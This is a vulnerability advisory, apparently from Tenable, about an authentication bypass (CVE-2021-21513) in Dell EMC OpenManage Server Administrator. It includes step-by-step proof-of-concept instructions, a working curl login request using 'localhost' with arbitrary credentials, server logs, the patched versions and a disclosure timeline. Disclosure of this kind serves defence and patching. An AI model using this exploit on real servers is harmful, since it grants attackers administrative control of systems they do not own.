tenable

Dell EMC OpenManage Server Administrator Authentication Bypass

Critical

← View More Research Advisories

Synopsis

When the OpenManage Server Administrator (OMSA) Web Server and Remote Enablement components are installed on a Dell EMC device and the Managed System Login feature is enabled (disabled by default in v9.5.0), an unauthenticated remote attacker can login to OMSA as admin without knowing a correct OS username and password on that system.

When the Managed System Login feature is enabled, the OMSA web server presents a Managed System Login page. In this case, the web server can be used to connect to a remote node/system. It takes the IP/hostname of the remote node, a username and the password and makes an HTTPS WS-Management (i.e., WinRM) connection to the Remote Enablement component on the remote node in order to login to and manage the node.

If the IP/hostname of the remote node is set to localhost, the web server makes a WS-Management connection to the Remote Enablement component on the same host on which the web server is running. It's been observed that any user name and password would work.

Proof of Concept

To perform the authentication bypass, the attacker does the following:

- Use a web browser to fetch https://:1311/
- Switch to the Manage System Login page (by clicking on the Manage Remote Node link)
- Use localhost in the Hostname / IP address field
- Specify any username (i.e., AAAA) in the Username field
- Specify any password (i.e., BBBB) in the Password field
- Check the "Ignore certificate warnings" check box
- Hit the Submit button

The following CURL command shows a successful OMSA login without knowing a correct username and password, as the response is an HTTP redirect to OMSAStart as opposed to a login page (i.e., omalogin.html).

```
curl -ki -d 'manuallogin=true&targetmachine=localhost&user=AAAA&password=BBBB&application=omsa&ignorecertificate=1' 'https://<omsa_webserver>:1311/LoginServlet?flag=true&managed

HTTP/1.1 302
Strict-Transport-Security: max-age=31536000
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=E765A274F3CAD6740E2604D5C9276D17;Path=/4A6A8DFC482BD64D;secure; HttpOnly
Location: /4A6A8DFC482BD64D/OMSAStart?mode=omsa&vid=4A6A8DFC482BD64D
vary: accept-encoding
Content-Length: 0
```

And the log shows more details about the successful authentication bypass login:

```
[39]2020-11-17 22:21:48.463 loginUser.OMAHttpServlet, sUserName=AAAA
[39]2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8
[39]2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8
[39]2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8
[39]2020-11-17 22:21:48.479 value of on mean AD auth, slocalLogin=null
[39]2020-11-17 22:21:48.479 true for login via login page, sManualLogin=true
[39]2020-11-17 22:21:48.479 HttpServlet: login user:value of ignorecertificate=true
[39]2020-11-17 22:21:48.479 HttpServlet: login user:value of hostname=localhost
[39]2020-11-17 22:21:48.495 HttpServlet: login user: Port is not passed - IPV4 Taking default
[39]2020-11-17 22:21:48.495 HttpServlet: EnableDWS pref setting is===true
[39]2020-11-17 22:21:48.495 OMAWPUtil.generateVID:0643A39C06A46299
[39]2020-11-17 22:21:48.495 OMAWPUtil.currentVID:0643A39C06A46299
[39]2020-11-17 22:21:48.557 sXML of getwsmanclient:<OMA><WSManErrorCode>0</WSManErrorCode><WSManStatus>0</WSManStatus><ResponseCode>200</ResponseCode><IdentifyResponse>http://sc
[...]
[39]2020-11-17 22:21:48.620 OMAHttpServlet.loginUser: sending parameters to getuserrightsonly, domain= user=AAAA program=omsa localLogin=TRUE computerName=localhost DWS=Research
[39]2020-11-17 22:21:48.620 OMAWPUtil.sendCmdtoDA - Target Machine :null
[39]2020-11-17 22:21:48.620 OMAWPUtil.sendCmdtoDA - User name :null
[39]2020-11-17 22:21:48.651 OMAWPUtil.sendCmdtoDA - Return Value :<SMStatus>0</SMStatus><WSManErrorCode>0</WSManErrorCode><WSManStatus>0</WSManStatus><ResponseCode>200</Response
[...]
[39]2020-11-17 22:21:49.354 OMAHttpServlet.loginUser: AAAA:7:4
```

Under the hood, a getwsmanclient command was sent to login to the remote node. Because the IP/hostname of the remote node was set to localhost, the getwsmanclient command was sent to the local host and it was successful (WSManStatus = 0) even an invalid username and password were used.

Then a getuserrightsonly command was sent to get the user rights for the specified user account (AAAA). That command was also successful (WSManStatus = 0), and the account has user rights 7, which is the highest.

Solution

Upgrade to version 9.4.0.3 or 9.5.0.1

Additional References

https://www.dell.com/support/kbdoc/en-us/000183670/dsa-2021-040-dell-emc-openmanage-server-administrator-omsa-security-update-for-multiple-vulnerabilities

Disclosure Timeline

11/17/2020 - Vulnerability discovered
11/30/2020 - Vulnerability reported to Dell. 90-day date is March 01, 2021.
12/01/2020 - Dell is tracking this as PSRC-14647. They will investigate the issue.
12/03/2020 - Tenable acknowledges. Thanks Dell for response. We will stay on the lookout for future comms.
12/03/2020 - Dell asks for more information and PoC video.
12/04/2020 - Tenable provides more information and PoC video.
12/10/2020 - Dell asks to meet with the discovering researcher.
12/10/2020 - Tenable prefers to keep things in writing, per process. Asks for specific questions / feedback.
12/15/2020 - Dell is unable to reproduce the issue in their lab. Asks if we can meet virtually.
12/16/2020 - Dell is able to reproduce the issue and is working on an impact assessment. They will get back to us soon.
12/16/2020 - Tenable acknowledges.
12/16/2020 - Dell asks for us to be flexible with them on a response?
12/16/2020 - Tenable asks for clarification.
12/16/2020 - Dell asks if they can get back to us next week with an impact statement.
12/16/2020 - Tenable says that is fine.
12/17/2020 - Dell has validated the findings. They will communicate remediation / mitigation info ASAP. Asks if we would like to be acknowledged.
12/17/2020 - Tenable thanks Dell. Acknowledge Tenable, Inc. Asks to be notified on anticipated patch/advisory release dates.
12/18/2020 - Dell is targeting March for remediation. Asks how we would like to be acknowledged.
12/18/2020 - Tenable thanks Dell. Please acknowledge "Tenable, Inc."
01/04/2021 - Tenable asks for an update.
01/07/2021 - Dell is on track to have a fix by March. Asks us if we want any specific info.
01/07/2021 - Tenable thanks Dell. Mentions fix version and CVE ID.
02/12/2021 - Tenable asks for an update.
02/15/2021 - Dell would like to release an advisory on March 15. They can provide a CVE ID closer to release date. Asks for an advisory preview.
02/16/2021 - Tenable states 90-day policy. Provides draft of advisory.
02/18/2021 - Dell plans to meet the 90-day date. They provide an acknowledgement and CVE ID.
02/25/2021 - Tenable thanks Dell.

Risk Information

CVE ID: CVE-2021-21513
Tenable Advisory ID: TRA-2021-07
CVSSv3 Base / Temporal Score: 9.8 / 8.8
CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products: Dell EMC OpenManage Server Administrator for Windows before 9.4.0.3 or 9.5.0.1
Risk Factor: Critical

Advisory Timeline

03/01/2021 - Advisory published.
03/02/2021 - Added reference to Dell advisory

Application Security
Building Management Systems
Cloud Security Posture Management
Compliance
Exposure Management
Finance
Healthcare
IT/OT
Ransomware
State / Local / Education
US Federal
Vulnerability Management
Zero Trust
→ View all Solutions

CUSTOMER RESOURCES

Resource Library
Community & Support
Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media